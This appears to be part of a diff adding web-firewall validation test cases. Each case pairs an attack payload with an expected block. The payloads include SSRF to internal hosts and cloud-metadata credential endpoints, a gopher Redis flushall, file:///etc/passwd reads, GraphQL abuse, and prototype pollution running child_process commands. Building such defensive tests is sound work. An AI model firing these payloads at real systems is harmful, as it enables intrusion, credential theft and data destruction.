+ "custom_rule": "9999041"
551
+ },
552
+ {
553
+ "id": "CUSTOM-9999042-001",
554
+ "payload": "{\"query\":\"{ __schema { types { name } } }\"}",
555
+ "tags": ["custom-rule", "graphql", "introspection", "quick", "rule-9999042"],
556
+ "expected_block": true,
557
+ "severity_hint": "Medium",
558
+ "notes": "Custom rule 9999042: GraphQL __schema introspection",
559
+ "category": "WAF-Validation",
560
+ "custom_rule": "9999042"
561
+ },
562
+ {
563
+ "id": "CUSTOM-9999042-002",
564
+ "payload": "{\"query\":\"{ __type(name: \\\"User\\\") { fields { name } } }\"}",
565
+ "tags": ["custom-rule", "graphql", "introspection", "rule-9999042"],
566
+ "expected_block": true,
567
+ "severity_hint": "Medium",
568
+ "notes": "Custom rule 9999042: GraphQL __type introspection",
569
+ "category": "WAF-Validation",
570
+ "custom_rule": "9999042"
571
+ },
572
+ {
573
+ "id": "CUSTOM-9999043-001",
574
+ "payload": "[{\"query\":\"{ user(id:1) { id } }\"},{\"query\":\"{ user(id:2) { id } }\"}]",
575
+ "tags": ["custom-rule", "graphql", "batching", "quick", "rule-9999043"],
576
+ "expected_block": true,
577
+ "severity_hint": "Medium",
578
+ "notes": "Custom rule 9999043: GraphQL batching attack",
579
+ "category": "WAF-Validation",
580
+ "custom_rule": "9999043"
581
+ },
582
+ {
583
+ "id": "CUSTOM-9999044-001",
584
+ "payload": "{\"query\":\"{ a { b { c { d { e { f { g { h { i { j { k { l } } } } } } } } } } } }\"}",
585
+ "tags": ["custom-rule", "graphql", "depth-attack", "quick", "rule-9999044"],
586
+ "expected_block": true,
587
+ "severity_hint": "Medium",
588
+ "notes": "Custom rule 9999044: GraphQL query depth attack",
589
+ "category": "WAF-Validation",
590
+ "custom_rule": "9999044"
591
+ },
592
+ {
593
+ "id": "CUSTOM-9999045-001",
594
+ "payload": "{\"query\":\"{ a1:user(id:1){id} a2:user(id:2){id} a3:user(id:3){id} a4:user(id:4){id} a5:user(id:5){id} a6:user(id:6){id} a7:user(id:7){id} a8:user(id:8){id} a9:user(id:9){id} a10:user(id:10){id} a11:user(id:11){id} a12:user(id:12){id} a13:user(id:13){id} a14:user(id:14){id} a15:user(id:15){id} a16:user(id:16){id} a17:user(id:17){id} a18:user(id:18){id} a19:user(id:19){id} a20:user(id:20){id} a21:user(id:21){id} }\"}",
595
+ "tags": ["custom-rule", "graphql", "aliasing", "quick", "rule-9999045"],
596
+ "expected_block": true,
597
+ "severity_hint": "Medium",
598
+ "notes": "Custom rule 9999045: GraphQL field aliasing abuse (21+ aliases)",
599
+ "category": "WAF-Validation",
600
+ "custom_rule": "9999045"
601
+ },
602
+ {
603
+ "id": "CUSTOM-9999046-001",
604
+ "payload": "{\"query\":\"{ user @admin { id } }\"}",
605
+ "tags": ["custom-rule", "graphql", "directive", "quick", "rule-9999046"],
606
+ "expected_block": true,
607
+ "severity_hint": "High",
608
+ "notes": "Custom rule 9999046: GraphQL @admin directive injection",
609
+ "category": "WAF-Validation",
610
+ "custom_rule": "9999046"
611
+ },
612
+ {
613
+ "id": "CUSTOM-9999046-002",
614
+ "payload": "{\"query\":\"{ user @exec(cmd: \\\"id\\\") { id } }\"}",
615
+ "tags": ["custom-rule", "graphql", "directive", "rule-9999046"],
616
+ "expected_block": true,
617
+ "severity_hint": "Critical",
618
+ "notes": "Custom rule 9999046: GraphQL @exec directive injection",
619
+ "category": "WAF-Validation",
620
+ "custom_rule": "9999046"
621
+ },
622
+ {
623
+ "id": "CUSTOM-9999047-001",
624
+ "payload": "{\"query\":\"fragment A on User { ...B } fragment B on User { ...A } { user { ...A } }\"}",
625
+ "tags": ["custom-rule", "graphql", "fragment-cycle", "quick", "rule-9999047"],
626
+ "expected_block": true,
627
+ "severity_hint": "Medium",
628
+ "notes": "Custom rule 9999047: GraphQL fragment cycling DoS",
629
+ "category": "WAF-Validation",
630
+ "custom_rule": "9999047"
631
+ },
632
+ {
633
+ "id": "CUSTOM-9999048-001",
634
+ "payload": "GET /api?url=http://127.0.0.1:8080/admin",
635
+ "tags": ["custom-rule", "ssrf", "localhost", "quick", "rule-9999048"],
636
+ "expected_block": true,
637
+ "severity_hint": "Critical",
638
+ "notes": "Custom rule 9999048: SSRF via 127.0.0.1",
639
+ "category": "WAF-Validation",
640
+ "custom_rule": "9999048"
641
+ },
642
+ {
643
+ "id": "CUSTOM-9999048-002",
644
+ "payload": "GET /api?url=http://localhost/admin",
645
+ "tags": ["custom-rule", "ssrf", "localhost", "quick", "rule-9999048"],
646
+ "expected_block": true,
647
+ "severity_hint": "Critical",
648
+ "notes": "Custom rule 9999048: SSRF via localhost",
649
+ "category": "WAF-Validation",
650
+ "custom_rule": "9999048"
651
+ },
652
+ {
653
+ "id": "CUSTOM-9999048-003",
654
+ "payload": "GET /api?url=http://0.0.0.0/",
655
+ "tags": ["custom-rule", "ssrf", "localhost", "rule-9999048"],
656
+ "expected_block": true,
657
+ "severity_hint": "Critical",
658
+ "notes": "Custom rule 9999048: SSRF via 0.0.0.0",
659
+ "category": "WAF-Validation",
660
+ "custom_rule": "9999048"
661
+ },
662
+ {
663
+ "id": "CUSTOM-9999048-004",
664
+ "payload": "GET /api?url=http://[::1]/admin",
665
+ "tags": ["custom-rule", "ssrf", "localhost", "rule-9999048"],
666
+ "expected_block": true,
667
+ "severity_hint": "Critical",
668
+ "notes": "Custom rule 9999048: SSRF via IPv6 localhost [::1]",
669
+ "category": "WAF-Validation",
670
+ "custom_rule": "9999048"
671
+ },
672
+ {
673
+ "id": "CUSTOM-9999048-005",
674
+ "payload": "GET /api?url=http://2130706433/",
675
+ "tags": ["custom-rule", "ssrf", "localhost", "rule-9999048"],
676
+ "expected_block": true,
677
+ "severity_hint": "Critical",
678
+ "notes": "Custom rule 9999048: SSRF via decimal IP (2130706433=127.0.0.1)",
679
+ "category": "WAF-Validation",
680
+ "custom_rule": "9999048"
681
+ },
682
+ {
683
+ "id": "CUSTOM-9999049-001",
684
+ "payload": "GET /api?url=http://169.254.169.254/latest/meta-data/",
685
+ "tags": ["custom-rule", "ssrf", "cloud-metadata", "quick", "rule-9999049"],
686
+ "expected_block": true,
687
+ "severity_hint": "Critical",
688
+ "notes": "Custom rule 9999049: SSRF AWS metadata endpoint",
689
+ "category": "WAF-Validation",
690
+ "custom_rule": "9999049"
691
+ },
692
+ {
693
+ "id": "CUSTOM-9999049-002",
694
+ "payload": "GET /api?url=http://metadata.google.internal/computeMetadata/v1/",
695
+ "tags": ["custom-rule", "ssrf", "cloud-metadata", "rule-9999049"],
696
+ "expected_block": true,
697
+ "severity_hint": "Critical",
698
+ "notes": "Custom rule 9999049: SSRF GCP metadata endpoint",
699
+ "category": "WAF-Validation",
700
+ "custom_rule": "9999049"
701
+ },
702
+ {
703
+ "id": "CUSTOM-9999049-003",
704
+ "payload": "GET /api?url=http://169.254.170.2/v2/credentials/",
705
+ "tags": ["custom-rule", "ssrf", "cloud-metadata", "rule-9999049"],
706
+ "expected_block": true,
707
+ "severity_hint": "Critical",
708
+ "notes": "Custom rule 9999049: SSRF AWS ECS task credentials",
709
+ "category": "WAF-Validation",
710
+ "custom_rule": "9999049"
711
+ },
712
+ {
713
+ "id": "CUSTOM-9999050-001",
714
+ "payload": "GET /api?url=http://evil.rbndr.us/",
715
+ "tags": ["custom-rule", "ssrf", "dns-rebinding", "quick", "rule-9999050"],
716
+ "expected_block": true,
717
+ "severity_hint": "High",
718
+ "notes": "Custom rule 9999050: DNS rebinding via rbndr.us",
719
+ "category": "WAF-Validation",
720
+ "custom_rule": "9999050"
721
+ },
722
+ {
723
+ "id": "CUSTOM-9999050-002",
724
+ "payload": "GET /api?url=http://127.0.0.1.nip.io/",
725
+ "tags": ["custom-rule", "ssrf", "dns-rebinding", "rule-9999050"],
726
+ "expected_block": true,
727
+ "severity_hint": "High",
728
+ "notes": "Custom rule 9999050: DNS rebinding via nip.io",
729
+ "category": "WAF-Validation",
730
+ "custom_rule": "9999050"
731
+ },
732
+ {
733
+ "id": "CUSTOM-9999050-003",
734
+ "payload": "GET /api?url=http://127.0.0.1.sslip.io/",
735
+ "tags": ["custom-rule", "ssrf", "dns-rebinding", "rule-9999050"],
736
+ "expected_block": true,
737
+ "severity_hint": "High",
738
+ "notes": "Custom rule 9999050: DNS rebinding via sslip.io",
739
+ "category": "WAF-Validation",
740
+ "custom_rule": "9999050"
741
+ },
742
+ {
743
+ "id": "CUSTOM-9999051-001",
744
+ "payload": "GET /api?url=http://10.0.0.1/admin",
745
+ "tags": ["custom-rule", "ssrf", "internal", "quick", "rule-9999051"],
746
+ "expected_block": true,
747
+ "severity_hint": "Critical",
748
+ "notes": "Custom rule 9999051: SSRF internal network 10.x.x.x",
749
+ "category": "WAF-Validation",
750
+ "custom_rule": "9999051"
751
+ },
752
+ {
753
+ "id": "CUSTOM-9999051-002",
754
+ "payload": "GET /api?url=http://192.168.1.1/",
755
+ "tags": ["custom-rule", "ssrf", "internal", "rule-9999051"],
756
+ "expected_block": true,
757
+ "severity_hint": "Critical",
758
+ "notes": "Custom rule 9999051: SSRF internal network 192.168.x.x",
759
+ "category": "WAF-Validation",
760
+ "custom_rule": "9999051"
761
+ },
762
+ {
763
+ "id": "CUSTOM-9999051-003",
764
+ "payload": "GET /api?url=http://172.16.0.1/",
765
+ "tags": ["custom-rule", "ssrf", "internal", "rule-9999051"],
766
+ "expected_block": true,
767
+ "severity_hint": "Critical",
768
+ "notes": "Custom rule 9999051: SSRF internal network 172.16.x.x",
769
+ "category": "WAF-Validation",
770
+ "custom_rule": "9999051"
771
+ },
772
+ {
773
+ "id": "CUSTOM-9999052-001",
774
+ "payload": "GET /api?url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall",
775
+ "tags": ["custom-rule", "ssrf", "protocol", "quick", "rule-9999052"],
776
+ "expected_block": true,
777
+ "severity_hint": "Critical",
778
+ "notes": "Custom rule 9999052: SSRF via gopher protocol (Redis)",
779
+ "category": "WAF-Validation",
780
+ "custom_rule": "9999052"
781
+ },
782
+ {
783
+ "id": "CUSTOM-9999052-002",
784
+ "payload": "GET /api?url=file:///etc/passwd",
785
+ "tags": ["custom-rule", "ssrf", "protocol", "quick", "rule-9999052"],
786
+ "expected_block": true,
787
+ "severity_hint": "Critical",
788
+ "notes": "Custom rule 9999052: SSRF via file:// protocol",
789
+ "category": "WAF-Validation",
790
+ "custom_rule": "9999052"
791
+ },
792
+ {
793
+ "id": "CUSTOM-9999052-003",
794
+ "payload": "GET /api?url=dict://127.0.0.1:11211/stat",
795
+ "tags": ["custom-rule", "ssrf", "protocol", "rule-9999052"],
796
+ "expected_block": true,
797
+ "severity_hint": "Critical",
798
+ "notes": "Custom rule 9999052: SSRF via dict:// protocol (memcached)",
799
+ "category": "WAF-Validation",
800
+ "custom_rule": "9999052"
801
+ },
802
+ {
803
+ "id": "CUSTOM-9999053-001",
804
+ "payload": "GET /api?url=%6c%6f%63%61%6c%68%6f%73%74",
805
+ "tags": ["custom-rule", "ssrf", "encoding", "quick", "rule-9999053"],
806
+ "expected_block": true,
807
+ "severity_hint": "High",
808
+ "notes": "Custom rule 9999053: SSRF URL-encoded localhost",
809
+ "category": "WAF-Validation",
810
+ "custom_rule": "9999053"
811
+ },
812
+ {
813
+ "id": "CUSTOM-9999054-001",
814
+ "payload": "GET /api?url=http://attacker.com@127.0.0.1/",
815
+ "tags": ["custom-rule", "ssrf", "credential-injection", "quick", "rule-9999054"],
816
+ "expected_block": true,
817
+ "severity_hint": "Critical",
818
+ "notes": "Custom rule 9999054: SSRF via @ credential injection",
819
+ "category": "WAF-Validation",
820
+ "custom_rule": "9999054"
821
+ },
822
+ {
823
+ "id": "CUSTOM-9999054-002",
824
+ "payload": "GET /api?url=http://user:pass@10.0.0.1/admin",
825
+ "tags": ["custom-rule", "ssrf", "credential-injection", "rule-9999054"],
826
+ "expected_block": true,
827
+ "severity_hint": "Critical",
828
+ "notes": "Custom rule 9999054: SSRF with credentials to internal host",
829
+ "category": "WAF-Validation",
830
+ "custom_rule": "9999054"
831
+ },
832
+ {
833
+ "id": "CUSTOM-9999055-001",
834
+ "payload": "{\"constructor\":{\"prototype\":{\"polluted\":true}}}",
835
+ "tags": ["custom-rule", "prototype-pollution", "constructor", "quick", "rule-9999055"],
836
+ "expected_block": true,
837
+ "severity_hint": "Critical",
838
+ "notes": "Custom rule 9999055: Prototype pollution via constructor.prototype",
839
+ "category": "WAF-Validation",
840
+ "custom_rule": "9999055"
841
+ },
842
+ {
843
+ "id": "CUSTOM-9999055-002",
844
+ "payload": "{\"x\":{\"constructor\":{\"prototype\":{\"admin\":true}}}}",
845
+ "tags": ["custom-rule", "prototype-pollution", "constructor", "rule-9999055"],
846
+ "expected_block": true,
847
+ "severity_hint": "Critical",
848
+ "notes": "Custom rule 9999055: Nested constructor prototype pollution",
849
+ "category": "WAF-Validation",
850
+ "custom_rule": "9999055"
851
+ },
852
+ {
853
+ "id": "CUSTOM-9999056-001",
854
+ "payload": "{\"__pro__proto__to__\":{\"admin\":true}}",
855
+ "tags": ["custom-rule", "prototype-pollution", "bypass", "quick", "rule-9999056"],
856
+ "expected_block": true,
857
+ "severity_hint": "Critical",
858
+ "notes": "Custom rule 9999056: Prototype pollution filter bypass",
859
+ "category": "WAF-Validation",
860
+ "custom_rule": "9999056"
861
+ },
862
+ {
863
+ "id": "CUSTOM-9999056-002",
864
+ "payload": "{\"constconstructorructor\":{\"protoprototypetype\":{\"x\":1}}}",
865
+ "tags": ["custom-rule", "prototype-pollution", "bypass", "rule-9999056"],
866
+ "expected_block": true,
867
+ "severity_hint": "Critical",
868
+ "notes": "Custom rule 9999056: Double-nested filter bypass attempt",
869
+ "category": "WAF-Validation",
870
+ "custom_rule": "9999056"
871
+ },
872
+ {
873
+ "id": "CUSTOM-9999057-001",
874
+ "payload": "{\"a\":{\"b\":{\"c\":{\"d\":{\"e\":{\"f\":{\"g\":{\"h\":{\"i\":{\"j\":{\"k\":{\"l\":{\"m\":{\"n\":{\"o\":{\"p\":{\"q\":1}}}}}}}}}}}}}}}}}",
875
+ "tags": ["custom-rule", "json-dos", "nesting", "quick", "rule-9999057"],
876
+ "expected_block": true,
877
+ "severity_hint": "Medium",
878
+ "notes": "Custom rule 9999057: JSON deep nesting DoS",
879
+ "category": "WAF-Validation",
880
+ "custom_rule": "9999057"
881
+ },
882
+ {
883
+ "id": "CUSTOM-9999058-001",
884
+ "payload": "{\"role\":\"user\",\"role\":\"admin\"}",
885
+ "tags": ["custom-rule", "json-injection", "duplicate-key", "quick", "rule-9999058"],
886
+ "expected_block": true,
887
+ "severity_hint": "High",
888
+ "notes": "Custom rule 9999058: JSON duplicate key injection",
889
+ "category": "WAF-Validation",
890
+ "custom_rule": "9999058"
891
+ },
892
+ {
893
+ "id": "CUSTOM-9999058-002",
894
+ "payload": "{\"isAdmin\":false,\"data\":{},\"isAdmin\":true}",
895
+ "tags": ["custom-rule", "json-injection", "duplicate-key", "rule-9999058"],
896
+ "expected_block": true,
897
+ "severity_hint": "High",
898
+ "notes": "Custom rule 9999058: JSON duplicate isAdmin key",
899
+ "category": "WAF-Validation",
900
+ "custom_rule": "9999058"
901
+ },
902
+ {
903
+ "id": "CUSTOM-9999060-001",
904
+ "payload": "{\"__proto__\":{\"execArgv\":[\"-e\",\"require('child_process').exec('id')\"]}}",
905
+ "tags": ["custom-rule", "prototype-pollution", "rce", "quick", "rule-9999060"],
906
+ "expected_block": true,
907
+ "severity_hint": "Critical",
908
+ "notes": "Custom rule 9999060: Prototype pollution RCE via execArgv",
909
+ "category": "WAF-Validation",
910
+ "custom_rule": "9999060"
911
+ },
912
+ {
913
+ "id": "CUSTOM-9999060-002",
914
+ "payload": "{\"__proto__\":{\"shell\":\"bash\",\"NODE_OPTIONS\":\"--require /tmp/evil.js\"}}",
915
+ "tags": ["custom-rule", "prototype-pollution", "rce", "rule-9999060"],
916
+ "expected_block": true,
917
+ "severity_hint": "Critical",
918
+ "notes": "Custom rule 9999060: Prototype pollution RCE via shell",
919
+ "category": "WAF-Validation",
920
+ "custom_rule": "9999060"
921
+ },
922
+ {
923
+ "id": "CUSTOM-9999060-003",
924
+ "payload": "require('child_process').exec('id')",
925
+ "tags": ["custom-rule", "prototype-pollution", "rce", "rule-9999060"],
926
+ "expected_block": true,
927
+ "severity_hint": "Critical",
928
+ "notes": "Custom rule 9999060: Direct child_process require",
929
+ "category": "WAF-Validation",
930
+ "custom_rule": "9999060"
931
+ },
932
+ {
933
+ "id": "CUSTOM-9999061-001",
934
+ "payload": "GET /api%0d%0aX-Injected: header HTTP/1.1",
935
+ "tags": ["custom-rule", "crlf-injection", "uri", "quick", "rule-9999061"],
936
+ "expected_block": true,
937
+ "severity_hint": "High",
938
+ "notes": "Custom rule 9999061: CRLF injection in request URI",
939
+ "category": "WAF-Validation",
940
+ "custom_rule": "9999061"
941
+ },
942
+ {
943
+ "id": "CUSTOM-9999063-001",
944
+ "payload": "CONNECT internal.server:8080 HTTP/1.1",
945
+ "tags": ["custom-rule", "tunneling", "connect", "quick", "rule-9999063"],
946
+ "expected_block": true,
947
+ "severity_hint": "High",
948
+ "notes": "Custom rule 9999063: HTTP CONNECT tunneling attempt",
949
+ "category": "WAF-Validation",
950
+ "custom_rule": "9999063"
951
+ }
952
+ ]